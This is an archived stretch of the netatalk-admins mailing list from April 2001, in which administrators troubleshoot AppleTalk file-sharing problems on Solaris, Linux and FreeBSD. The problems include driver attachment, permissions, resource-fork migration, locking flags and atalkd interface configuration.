From netatalk.administrators-errors@umich.edu  Mon Apr  9 09:33:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA11745
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 09:33:51 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA20979
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 09:33:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA20948
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 09:33:43 -0400 (EDT)
Received: from iremia.univ-reunion.fr (iremia.univ-reunion.fr [194.199.73.10])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA20830
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 09:33:38 -0400 (EDT)
Received: from univ-reunion.fr (clapas [194.199.73.34])
          by iremia.univ-reunion.fr (8.9.1a/jtpda-5.3.1/jlo(98)) with ESMTP id RAA02839
          for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 17:33:40 +0400 (GMT+4)
Sender: Gerard.Gachelin@univ-reunion.fr
Message-ID: <3AD1B987.274BED90@univ-reunion.fr>
Date: Mon, 09 Apr 2001 17:30:47 +0400
From: =?iso-8859-1?Q?G=E9rard?= Gachelin <Gerard.Gachelin@univ-reunion.fr>
Organization: =?iso-8859-1?Q?Universit=E9?= de la =?iso-8859-1?Q?R=E9union?=
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.8 sun4u)
X-Accept-Language: fr, en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: problem installing netatalk under Solaris 8
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms8729D59149F4A331D67600CF"

This is a cryptographically signed message in MIME format.

--------------ms8729D59149F4A331D67600CF
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Hello,

I am installing netatalk 1.4b2+asun2.1.4 on an Enterprise 250
(ultrasparc) running Solaris 8.

Compilation was working fine.

But during make kinstall, the installer sends this message :


add_drv -m '* 0666 root sys' ddp
devfsadm: driver failed to attach: ddp
Warning: Driver (ddp) successfully added to system but failed to attach
sync;sync;sync

And there is no /dev/ddp created.

Thanks for any help
-- =

G=E9rard GACHELIN                          e-mail : gg@univ-reunion.fr =

Universit=E9 de la R=E9union                 T=E9l: 0262 93 82 72 =

15, Avenue Ren=E9 Cassin - BP 7151         Fax: 0262 93 82 60
97715 Saint-Denis MESSAG-CEDEX 9
--------------ms8729D59149F4A331D67600CF
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH9gYJKoZIhvcNAQcCoIIH5zCCB+MCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKYMIICAaADAgECAgMEPf0wDQYJKoZIhvcNAQEEBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTAyMjIxMjM5NTFaFw0wMjAyMjIxMjM5NTFa
MFExHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxLjAsBgkqhkiG9w0BCQEWH0dl
cmFyZC5HYWNoZWxpbkB1bml2LXJldW5pb24uZnIwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJ
AoGBAKuc1nbYFt+3JumY3IgjqjBubtfEJq7hUlc3AvT4YgvUZLGM8d1NZFA4NOW99XHogNGX
KtlITgGE1oxjAy/BNe3UX6H6xfahVcbytouwXnsLMewVYIdXETQ6X0Eqf5Zu82ro7d0xs2GH
SvYxFHGj5eD4AXmMxRqLBIRXmnTsvS8RAgMBAAGjPDA6MCoGA1UdEQQjMCGBH0dlcmFyZC5H
YWNoZWxpbkB1bml2LXJldW5pb24uZnIwDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQQFAAOB
gQDSfIFuEQit8eZQl93dX81Km6EfQMd8sioWp7hRAa+YT6MWUSG0cqSZ3q4fwc2/ueDaMG1m
KEsrQM9amwYR8489ioDxXYO0rumLWwDn+NdeGq6lpfzPLXIaLeAC9/vfudn6yrSc8EzYBhoL
NluhVukL0r8tHbYSRsg2ssnEZrOE0jCCAykwggKSoAMCAQICAQwwDQYJKoZIhvcNAQEEBQAw
gdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg
VG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFp
bCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0w
MDA4MzAwMDAwMDBaFw0wMjA4MjkyMzU5NTlaMIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMM
V2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzANBgNVBAoTBlRoYXd0ZTEdMBsG
A1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVtYWls
IFJTQSAyMDAwLjguMzAwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAN4zMqZjxwklRT7S
bngnZ4HF2ogZgpcO40QpimM1Km1wPPrcrvfudG8wvDOQf/k0caCjbZjxw0+iZdsN+kvx1t1h
pfmFzVWaNRqdknWoJ67Ycvm6AvbXsJHeHOmr4BgDqHxDQlBRh4M88Dm0m1SKE4f/s5udSWYA
LQmJ7JRr6aFpAgMBAAGjTjBMMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFi
ZWwxLTI5NzASBgNVHRMBAf8ECDAGAQH/AgEAMAsGA1UdDwQEAwIBBjANBgkqhkiG9w0BAQQF
AAOBgQBzG28mZYv/FTRLWWKK7US+ScfoDbuPuQ1qJipihB+4h2N0HG23zxpTkUvhzeY42e1Q
9DpsNJKs5pKcbsEjAcIJp+9LrnLdBmf1UG8uWLi2C8FQV7XsHNfvF7bViJu3ooga7TlbOX00
/LaWGCVNavSdxcORL6mWuAU8Uvzd6WIDSDGCAfUwggHxAgEBMIGaMIGSMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzANBgNVBAoT
BlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNv
bmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzACAwQ9/TAJBgUrDgMCGgUAoIGxMBgGCSqGSIb3
DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTAxMDQwOTEzMzA0N1owIwYJKoZI
hvcNAQkEMRYEFLieRfTqfPyEyWbmzfon3Ew+j4L6MFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZI
hvcNAwcwDgYIKoZIhvcNAwICAgCAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgFAMA0GCCqGSIb3
DQMCAgEoMA0GCSqGSIb3DQEBAQUABIGAZ9RV9zXof2NUtf9pgFutcXI//USZ1s5gyWeYmFfz
9x88gaykNux3/BSEnY8eFh9VBC+8bPuqsk4y/H0ag27hZi/AiDkfgyYxIW/d42HkaGhitJXq
f0HyDyYP5l4GmuqkqlCiOYiTx/SxQx5o6jNIQt9c15lK0pg0EzQYKZWOlIA=
--------------ms8729D59149F4A331D67600CF--


From netatalk.administrators-errors@umich.edu  Mon Apr  9 12:07:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA17452
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 12:07:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29822
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 12:07:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29797
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 12:06:58 -0400 (EDT)
Received: from post.xecu.net (post.xecu.net [216.127.136.211])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA29644
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 12:06:52 -0400 (EDT)
Received: from pippin.fred.net (gandalf.cust.planetcable.net [24.137.17.39])
	by post.xecu.net (Postfix) with ESMTP id 5BCC647F7
	for <netatalk-admins@umich.edu>; Mon,  9 Apr 2001 12:06:53 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010409114219.00a5ad20@fred.net>
X-Sender: pippin@fred.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Mon, 09 Apr 2001 12:06:50 -0400
To: netatalk-admins@umich.edu
From: Walt <pippin@fred.net>
Subject: permissions, eh?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Can anyone tell me what I have to do
for the files that my mac creates to
have correct permissions? I am running
the 1.4b2+asun build and this part of it
has always worked in the past but now
after upgrading to and then downgrading
from 1.5pre5 permissions are 664
instead of 775 or 774, which is causing
some real annoying problems.

Thanks! I've really been through a lot
trying to get this back the way it was...

Walt

-~

    Sometimes truth comes riding into history on the back of error.
                         Reinhold Niebuhr


From netatalk.administrators-errors@umich.edu  Mon Apr  9 13:43:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA22210
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 13:43:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA19905
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 13:43:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA19887
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 13:43:37 -0400 (EDT)
Received: from truth.itfreedom.com (truth.itfreedom.com [206.225.63.176])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA19804
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 13:43:35 -0400 (EDT)
Received: (qmail 26146 invoked from network); 9 Apr 2001 17:43:32 -0000
Received: from unknown (HELO h9k1k2) (192.168.0.46)
  by truth.itfreedom.com with SMTP; 9 Apr 2001 17:43:32 -0000
From: "Bryan Tholen" <bryan@itfreedom.com>
To: "Netatalk" <netatalk-admins@umich.edu>
Subject: FW: Netatalk issues
Date: Mon, 9 Apr 2001 12:43:30 -0500
Message-ID: <NEBBKBKBCLBNBCEPNBOLIEPLCHAA.bryan@itfreedom.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200

Dont know if anyone read this the first time I sent it. Basically I need to
figure out a way to migrate from DAVE resouce.frk to netatalk .AppleDouble
with out recopying 15gigs of Quark/Illustrator files. The fixit4.11
extension to Quark makes it behave "better" but I still get the occasional
"File is Locked" error and have to reboot. what is the compile time flag to
use the old FLOCK scheme? This seems to have better results. Anyone having
any problems using this besides the obvious locking issues between
samba/netatalk? Also, has anyone run into the problem copying folder from
the server to a client and back again I descibed below? It seems that the
.AppleDouble folder should be replace or rebuild when copying the folder
back to the server to avoid such problems. Thanks for your time and any info
you can give me on these issues.

Bryan

-----Original Message-----
From: Bryan Tholen [mailto:bryan@itfreedom.com]
Sent: Tuesday, April 03, 2001 2:04 PM
To: netatalk-admins@umich.edu
Subject: Netatalk issues


I have been using DAVE from thursby software with one of my clients running
a linux 2.2.17 server with the netatalk-asun2.1.4. It is a small network
about 30 users; 25 PCs and 5 Mac clients. I have one of the Mac guys running
netatalk for testing and he seems to like it however I have a couple of
problems that I need to work out.

is there anyway to move the resource.frk information stored by DAVE to
.AppleDouble format to maintain the resource fork for all of the files on
the server if we switch to Netatalk? This client has about 15gigs worth of
image files/quark docs that I dont want to have to transfer to a Mac and
back to the server if I can avoid it. I need the resource forks because they
contain preview information for image files and are needed for fonts I am
using.

when copying a folder from the server to a Mac client the hidden folder
.AppleDouble is copied along with it. If you change/delete or add a file to
the folder and copy it back to the server so of the files disappear or are
mangled because of the stale .AppleDouble folder that is copied. Maybe there
is an option on the client to aviod hidden files? If not is there anyway to
turn off transfer of the .AppleDouble folder down to the client?

Is there any option for netatalk to truncate filenames longer than the Mac
limit (31 i believe) so they may be viewed on a Mac client from the server?

BTW, I have upgraded all my clients with the Quark Express 4.11fixit
extension and they seem to be working with out any of the "File is locked"
errors we had seen before. Can anyone else confirm that this extension fixes
the problem? I am still not convinced and have even contemplated moving back
to FLOCKS if the problem pops up again.

Thanks for your time.



From netatalk.administrators-errors@umich.edu  Mon Apr  9 15:02:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA25652
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 15:02:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA16347
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 15:02:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA16248
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 15:02:25 -0400 (EDT)
Received: from cacophonix.circlesquared.com ([193.133.196.154])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA15969
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 15:02:15 -0400 (EDT)
Received: from dogmatix.circlesquared.com (circlesquared.com) [193.133.196.147] 
	by cacophonix.circlesquared.com with esmtp (Exim 3.12 #1 (Debian))
	id 14mgvL-0003vu-00; Mon, 09 Apr 2001 20:02:03 +0100
Sender: peter@circlesquared.com
Message-ID: <3AD20730.3F6A8DE8@circlesquared.com>
Date: Mon, 09 Apr 2001 20:02:08 +0100
From: Peter Risdon <peter@circlesquared.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: net range problems.
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I get the following when I try to 

/usr/local/etc/rc.d/netatalk.sh start

on FreeBSD 4.2:

netatalkNet (0) not in net-range (65280-65534).
bind: Can't assign requested address
bind: Can't assign requested address

And I can't figure out why. Any help would be greatly appreciated.

-- 
Peter Risdon
circle squared
9 The Maltings,
Millfield, 
Cottenham,
Cambridge,
CB4 8RE
UK
tel +44 1954 251097
fax +44 1954 252209

While every effort is made to ensure this mail and its attachments are
free of viruses and other malicious software, recipients should take
their own precautions.

This mail is intended for the addressees only. Should you receive it
inappropriately, please delete it and inform us by return mail to
admin@circlesquared.com

Unless otherwise stated, the opinions expressed in this mail are those
of its author, and not statements made on behalf of the circle squared.

From netatalk.administrators-errors@umich.edu  Mon Apr  9 15:10:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA25912
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 15:10:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA27994
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 15:10:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA25612
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 15:10:21 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA25563
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 15:08:29 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id VAA03979;
	Mon, 9 Apr 2001 21:04:06 +0200
Message-ID: <3AD207A7.B6224FFF@euc.de>
Date: Mon, 09 Apr 2001 21:03:56 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Bryan Tholen <bryan@itfreedom.com>
CC: Netatalk <netatalk-admins@umich.edu>
Subject: Re: FW: Netatalk issues
References: <NEBBKBKBCLBNBCEPNBOLIEPLCHAA.bryan@itfreedom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hmmm

Bryan Tholen wrote:
> 
> Dont know if anyone read this the first time I sent it. Basically I need to
> figure out a way to migrate from DAVE resouce.frk to netatalk .AppleDouble

I don't know much about DAVE, but deleting the .AppleDouble files will cause
in a rebuilding when users logging in next time.


> extension to Quark makes it behave "better" but I still get the occasional
> "File is Locked" error and have to reboot. what is the compile time flag to
> use the old FLOCK scheme? This seems to have better results.

./configure --with-flock-locks

should work.

Anyone having
> any problems using this besides the obvious locking issues between
> samba/netatalk? Also, has anyone run into the problem copying folder from
> the server to a client and back again I descibed below? It seems that the
> .AppleDouble folder should be replace or rebuild when copying the folder
> back to the server to avoid such problems. 

no not yet

> 
> Bryan
> 
> 
> when copying a folder from the server to a Mac client the hidden folder
> .AppleDouble is copied along with it. If you change/delete or add a file to
> the folder and copy it back to the server so of the files disappear or are
> mangled because of the stale .AppleDouble folder that is copied. Maybe there
> is an option on the client to aviod hidden files? If not is there anyway to
> turn off transfer of the .AppleDouble folder down to the client?
> 
> Is there any option for netatalk to truncate filenames longer than the Mac
> limit (31 i believe) so they may be viewed on a Mac client from the server?
> 
> BTW, I have upgraded all my clients with the Quark Express 4.11fixit
> extension and they seem to be working with out any of the "File is locked"
> errors we had seen before. Can anyone else confirm that this extension fixes
> the problem? I am still not convinced and have even contemplated moving back
> to FLOCKS if the problem pops up again.
> 
> Thanks for your time.

-- 
--schnipp-- 
best regards
-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Mon Apr  9 15:13:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA26023
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 15:13:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA03299
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 15:13:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA02854
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 15:13:26 -0400 (EDT)
Received: from dionysus.terrascope.com (www.terrascope.com [63.140.215.162])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA02089
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 15:13:21 -0400 (EDT)
Received: from terrascope.com (localhost.localdomain [127.0.0.1])
	by dionysus.terrascope.com (8.11.0/8.11.0) with ESMTP id f39JM8b31348;
	Mon, 9 Apr 2001 12:22:12 -0700
Sender: walt@dionysus.terrascope.com
Message-ID: <3AD20BE0.D9462B91@terrascope.com>
Date: Mon, 09 Apr 2001 12:22:08 -0700
From: Walt Reed <walt@terrascope.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Peter Risdon <peter@circlesquared.com>, netatalk-admins@umich.edu
Subject: Re: net range problems.
References: <3AD20730.3F6A8DE8@circlesquared.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

what do you have in your atalkd.conf file?  it should just have the name
of the interface you want netatalk to bind to, i.e. "eth0" on linux, not
sure what on bsd.  once the interface is in there, netatalk should add the
rest when started.

w

Peter Risdon wrote:

> I get the following when I try to
>
> /usr/local/etc/rc.d/netatalk.sh start
>
> on FreeBSD 4.2:
>
> netatalkNet (0) not in net-range (65280-65534).
> bind: Can't assign requested address
> bind: Can't assign requested address
>
> And I can't figure out why. Any help would be greatly appreciated.
>
> --
> Peter Risdon
> circle squared
> 9 The Maltings,
> Millfield,
> Cottenham,
> Cambridge,
> CB4 8RE
> UK
> tel +44 1954 251097
> fax +44 1954 252209
>
> While every effort is made to ensure this mail and its attachments are
> free of viruses and other malicious software, recipients should take
> their own precautions.
>
> This mail is intended for the addressees only. Should you receive it
> inappropriately, please delete it and inform us by return mail to
> admin@circlesquared.com
>
> Unless otherwise stated, the opinions expressed in this mail are those
> of its author, and not statements made on behalf of the circle squared.


From netatalk.administrators-errors@umich.edu  Mon Apr  9 15:19:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA26384
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 15:19:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA13683
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 15:19:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA13670
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 15:19:18 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA13451
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 15:19:12 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id VAA04035;
	Mon, 9 Apr 2001 21:14:40 +0200
Message-ID: <3AD20A21.7638D8B8@euc.de>
Date: Mon, 09 Apr 2001 21:14:30 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Peter Risdon <peter@circlesquared.com>
CC: netatalk-admins@umich.edu
Subject: Re: net range problems.
References: <3AD20730.3F6A8DE8@circlesquared.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA26384

hmmm.

do you have 2 ethernet cards in your system?

if so try running atalkd directly from the console.
make sure afpd and atalkd are not running

look into the /etc/atalk/atalkd.conf file and add '-seed' to it.
e.g.
eth0 -seed -phase 2 -net 300-500 -addr 352.96 -zone "others" -zone "admin"

wait for atalkd coming up - it could take some time.

after atalkd running take a look into the atalkd.conf file and
see what addresses atalkd as assinged to itself.



Peter Risdon wrote:
> 
> I get the following when I try to
> 
> /usr/local/etc/rc.d/netatalk.sh start
> 
> on FreeBSD 4.2:
> 
> netatalkNet (0) not in net-range (65280-65534).
> bind: Can't assign requested address
> bind: Can't assign requested address
> 
> And I can't figure out why. Any help would be greatly appreciated.
> 
> --
> Peter Risdon
> circle squared
> 9 The Maltings,
> Millfield,
> Cottenham,
> Cambridge,
> CB4 8RE
> UK
> tel +44 1954 251097
> fax +44 1954 252209
> 
> While every effort is made to ensure this mail and its attachments are
> free of viruses and other malicious software, recipients should take
> their own precautions.
> 
> This mail is intended for the addressees only. Should you receive it
> inappropriately, please delete it and inform us by return mail to
> admin@circlesquared.com
> 
> Unless otherwise stated, the opinions expressed in this mail are those
> of its author, and not statements made on behalf of the circle squared.

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Mon Apr  9 15:45:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA27334
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Apr 2001 15:45:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA18057
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Apr 2001 15:44:59 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA16932
	for netatalk.administrators-members@umich.edu; Mon, 9 Apr 2001 15:44:13 -0400 (EDT)
Received: from cacophonix.circlesquared.com ([193.133.196.154])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA15152
	for <netatalk-admins@umich.edu>; Mon, 9 Apr 2001 15:44:11 -0400 (EDT)
Received: from dogmatix.circlesquared.com (circlesquared.com) [193.133.196.147] 
	by cacophonix.circlesquared.com with esmtp (Exim 3.12 #1 (Debian))
	id 14mhYl-000453-00; Mon, 09 Apr 2001 20:42:47 +0100
Sender: peter@circlesquared.com
Message-ID: <3AD210BD.122C5029@circlesquared.com>
Date: Mon, 09 Apr 2001 20:42:53 +0100
From: Peter Risdon <peter@circlesquared.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Walt Reed <walt@terrascope.com>
CC: netatalk-admins@umich.edu
Subject: Re: net range problems.
References: <3AD20730.3F6A8DE8@circlesquared.com> <3AD20BE0.D9462B91@terrascope.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thanks very much indeed. Every interface (there are three cards plus an
IP4-IP6 tunnel) was in the atalkd.conf file. I commented out the ones I
didn't need and it worked.

Peter.


Walt Reed wrote:
> 
> what do you have in your atalkd.conf file?  it should just have the name
> of the interface you want netatalk to bind to, i.e. "eth0" on linux, not
> sure what on bsd.  once the interface is in there, netatalk should add the
> rest when started.
> 
> w
>
-- 
Peter Risdon
circle squared
9 The Maltings,
Millfield,
Cottenham,
Cambridge,
CB4 8RE
UK
tel +44 1954 251097
fax +44 1954 252209

While every effort is made to ensure this mail and its attachments are
free of viruses and other malicious software, recipients should take
their own precautions.

This mail is intended for the addressees only. Should you receive it
inappropriately, please delete it and inform us by return mail to
admin@circlesquared.com

Unless otherwise stated, the opinions expressed in this mail are those
of its author, and not statements made on behalf of the circle squared.

From netatalk.administrators-errors@umich.edu  Mon Apr  9 16:37:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA00572
